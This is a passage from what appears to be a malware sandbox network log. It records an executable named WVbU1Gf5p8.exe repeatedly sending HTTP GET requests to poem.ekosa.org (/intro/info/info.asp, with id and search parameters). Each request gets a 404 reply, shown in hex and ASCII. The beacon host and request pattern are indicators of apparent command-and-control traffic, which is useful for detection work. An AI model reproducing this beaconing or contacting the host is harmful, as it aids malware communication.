72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.4	49942	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:31.297410965 CET	5182	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:31.559371948 CET	5183	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:31 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.4	49943	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:31.827218056 CET	5183	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:32.089320898 CET	5184	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:31 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.4	49944	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:32.360671997 CET	5184	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:32.624397993 CET	5185	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:32 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.4	49945	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:33.004050016 CET	5186	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:33.266020060 CET	5186	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:32 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.4	49946	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:33.530864000 CET	5187	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:33.791635990 CET	5188	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:33 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.4	49947	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:34.059333086 CET	5188	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:34.320563078 CET	5189	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:33 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.4	49948	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:34.716017008 CET	5189	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:34.985666990 CET	5190	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:34 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.4	49949	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:35.254631042 CET	5191	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:35.514945984 CET	5191	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:34 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49781	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:06.434833050 CET	298	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:06.696373940 CET	298	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:06 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.4	49950	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:35.783725977 CET	5192	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:36.047019005 CET	5193	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:35 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.4	49951	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:36.432792902 CET	5193	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:36.702572107 CET	5194	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:35 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 